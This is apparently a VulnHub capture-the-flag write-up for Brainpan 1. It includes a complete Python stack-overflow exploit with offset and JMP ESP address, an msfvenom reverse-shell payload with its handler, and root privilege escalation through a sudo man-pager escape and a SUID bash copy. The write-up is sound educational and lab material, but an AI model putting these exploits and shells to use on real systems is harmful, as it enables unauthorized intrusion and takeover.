Writeup · VulnHub · Boot2Root

Brainpan 1

The box that earns its reputation as a first binary-exploitation target. A custom Windows service hands out its own executable over HTTP; instead of blind-fuzzing it, the whole exploit is built statically — the overflow offset read straight out of the disassembly, the jump address found with no ASLR to fight. The foothold is a stack smash; the privesc is a man pager escape through a careless sudo rule. No debugger used, start to finish.

target 192.168.56.132 host Linux + Wine service brainpan.exe :9999 difficulty Medium result root · b.txt
// 00

Executive summary

Brainpan 1 is a two-stage box: a classic 32-bit stack buffer overflow in a bespoke network service for the foothold, then a Linux local privesc. The twist is that the vulnerable binary is a Windows PE running under Wine — so the foothold is a Windows-style overflow, but the shell lands on a Linux host. The full path from outside to root:

root@pen-test-lab:~ — kill-chain
# 1 recon → two odd ports: 9999 (custom svc) + 10000 (HTTP) # 2 loot → brainpan.exe pulled from /bin/ on :10000 # 3 analysis → static RE: NX/ASLR off, offset 524, JMP ESP @ 0x311712f3 # 4 foothold → stack BOF on :9999 → reverse shell as puck (Wine) # 5 privesc → sudo anansi_util → man pager ! escape → root
Credential / flagValueWhere
footholduid=1002(puck)brainpan.exe stack overflow on :9999
privesceuid=0(root)sudo anansi_util man-pager escape
b.txtroot shell (euid=0)/root/b.txt (as root)

PHASE 01 · reconnaissance

Two ports that don't belong together

nmap -sS -p- --min-rate 1000 192.168.56.132
# 9999/tcp   open  abyss              ← non-standard, custom service
# 10000/tcp  open  snet-sensor-mgmt   ← usually a web server here

No SSH, no port 80. Version detection on both is the tell — port 9999 is a hand-rolled service that wants a password, and 10000 is a plain Python file server:

nmap -sV -sC -p9999,10000 192.168.56.132
# 9999   abyss?   [________ WELCOME TO BRAINPAN _________]  ENTER THE PASSWORD >>
# 10000  http     SimpleHTTPServer 0.6 (Python 2.7.3)
Read the pairing. A custom service that asks for a password is almost certainly where the vuln lives; a file server sitting next to it is almost certainly where you get the thing you need to attack it. Enumerate the web server first — it's the quieter target and likely hands you the binary.
PHASE 02 · loot the file server

Pulling the binary

The web root is just an infographic with an index.html, so there's no directory listing to read directly. Content discovery finds a hidden directory:

feroxbuster -u http://192.168.56.132:10000/ -w /usr/share/wordlists/dirb/common.txt
# 301   http://192.168.56.132:10000/bin  →  /bin/
curl -s http://192.168.56.132:10000/bin/
# Directory listing for /bin/  →  brainpan.exe

There it is. Pull it down and fingerprint it:

wget http://192.168.56.132:10000/bin/brainpan.exe
file brainpan.exe
# PE32 executable for MS Windows (console), Intel i386 (stripped), 5 sections
Why this matters. Handing the attacker the exact binary turns a blind remote crash into offline reverse engineering. Every offset, every address, and every bad character can be worked out locally and deterministically — no need to touch the live service until the exploit is finished.
PHASE 03 · static analysis

Building the overflow without a debugger

First, the protections. For a PE these live in the header's DLL characteristics — rabin2 reads them straight out:

rabin2 -I brainpan.exe
# nx    false     ← stack is executable: shellcode-on-stack works
# pic   false     ← no ASLR: addresses are static every run
# bits  32  ·  arch x86  ·  os windows

No DEP and no ASLR means the simplest possible exploit: jump to shellcode sitting on the stack, using a hardcoded address. Now the offset. The import table shows strcpy — an unbounded copy — and two custom functions, get_reply and winkwink. Disassembling get_reply gives the whole bug in a few instructions:

r2 -A brainpan.exe  →  pdf @ sym._get_reply
# sub esp, 0x218            ; 536 bytes of locals
# lea eax, [ebp-0x208]      ; dest buffer, 0x208 below saved EBP
# mov [esp], eax
# call strcpy               ; strcpy(dest, input) — no bounds check
# leave ; ret               ; no stack canary check

The destination buffer starts 0x208 (520) bytes below the saved frame pointer. Saved EBP is the next 4 bytes; the saved return address — the thing we overwrite to hijack execution — sits immediately after it:

# offset to saved EIP  =  0x208 (520)  +  4 (saved EBP)  =  524

So EIP is controlled at offset 524, and shellcode goes at 528+. The leave; ret with no cookie check confirms there's no stack canary to defeat. Last piece — a way to reach the stack. With ASLR off, a single JMP ESP inside the binary is a permanent, reliable trampoline:

ropper -f brainpan.exe -j esp
# 0x311712f3: jmp esp     ← only one, lives in .text (-r-x), executable
# bytes f3 12 17 31 → no 0x00 / 0x0a / 0x0d, safe to use
Everything derived, nothing guessed. Offset 524 and the trampoline at 0x311712f3 both come straight from the binary — no pattern-create / pattern-offset crash loop, no debugger attached to the live service. Static analysis makes the first attempt the working attempt.
PHASE 04 · foothold

Stack smash on port 9999

Shellcode is a Windows reverse shell (the service is a PE under Wine, so Windows shellcode is what executes), encoded to strip the overflow-killing bytes — strcpy stops at a null, so \x00 is mandatory to avoid, with \x0a\x0d excluded for good measure:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.117 LPORT=4444 \
         EXITFUNC=thread -b '\x00\x0a\x0d' -f python

The payload layout follows directly from Phase 03 — padding to EIP, the trampoline, a short NOP sled for the encoder's decoder stub to breathe, then shellcode:

# exploit.py (core)
import socket, struct
jmp_esp = struct.pack("<I", 0x311712f3)   # f3 12 17 31
buf = b"A"*524 + jmp_esp + b"\x90"*16 + shellcode

s = socket.socket(); s.connect(("192.168.56.132", 9999))
s.recv(4096)            # drain the WELCOME / password banner
s.send(buf + b"\n")

Start the handler first, then fire. The return into jmp esp lands execution directly on the shellcode waiting on the stack:

msfconsole -q -x "use multi/handler; set payload windows/shell_reverse_tcp; \
  set LHOST 192.168.56.117; set LPORT 4444; run"
python3 exploit.py
# [*] Command shell session 1 opened (192.168.56.117:4444 -> 192.168.56.132)
# Z:\home\puck>   ← a cmd.exe prompt… on a Linux box
Why the prompt is a lie. The shell banner is cmd.exe because the payload executed inside brainpan.exe under Wine. But Z:\ is Wine's mapping of the Linux root /, and Linux binaries run fine from here — /bin/sh -c id returns uid=1002(puck). The real target underneath is Linux, and that's where the privesc happens.
PHASE 05 · privilege escalation

A sudo rule into a pager escape

Upgrade to a proper Linux TTY, then check puck's sudo rights:

python -c 'import pty; pty.spawn("/bin/bash")'
sudo -l
# User puck may run the following commands on this host:
#     (root) NOPASSWD: /home/anansi/bin/anansi_util

One root-run helper, no password. It has three actions — network, proclist, and manual [command]. The manual action runs man as root, and man opens its output in a pager (less/more) you can shell out of:

sudo /home/anansi/bin/anansi_util manual ls
# ls(1) man page opens in the pager, running as root
# at the pager prompt, type:
!/bin/bash
# id → uid=1002(puck) euid=0(root)

The !command pager escape runs a shell command through $SHELL, inheriting the pager's root context. Grab the proof:

cat /root/b.txt
# [ ascii-art BRAINPAN banner — http://www.techorganic.com ]
Driving it non-interactively. man only spawns a pager when it detects a TTY; over a bare reverse shell it just dumps the page. If you can't get an interactive pager, feed the escape through a scripted PTY — or set a custom pager pointed at a script that copies bash SUID root (cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash), then /tmp/rootbash -p. Same root, no live keystrokes needed.
Why it works. sudo running an interactive program — a pager, editor, or anything that shells out — as root is a direct escalation. The pager inherits root and will execute whatever the ! escape hands it. It's a textbook GTFOBins pattern, and the single NOPASSWD rule is the entire opening.
// remediation

What the defender should fix

// toolkit

Tools used

nmapferoxbusterrabin2 / radare2roppermsfvenompython (pwn)metasploit (handler)GTFOBins (man)
root@pen-test-lab:~ — full chain
nmap → 9999 brainpan.exe + 10000 SimpleHTTPServer └─ feroxbuster :10000 → /bin/brainpan.exe pulled └─ static RE: strcpy @ [ebp-0x208] → offset 524 · JMP ESP 0x311712f3 └─ stack BOF on :9999 → reverse shell as puck (Wine on Linux) └─ sudo anansi_util manual → man pager ! escape → root
← all writeups

Lab environment · VulnHub boot2root performed in an isolated home lab. No production system was accessed. All testing described on this site is conducted only with prior written authorization.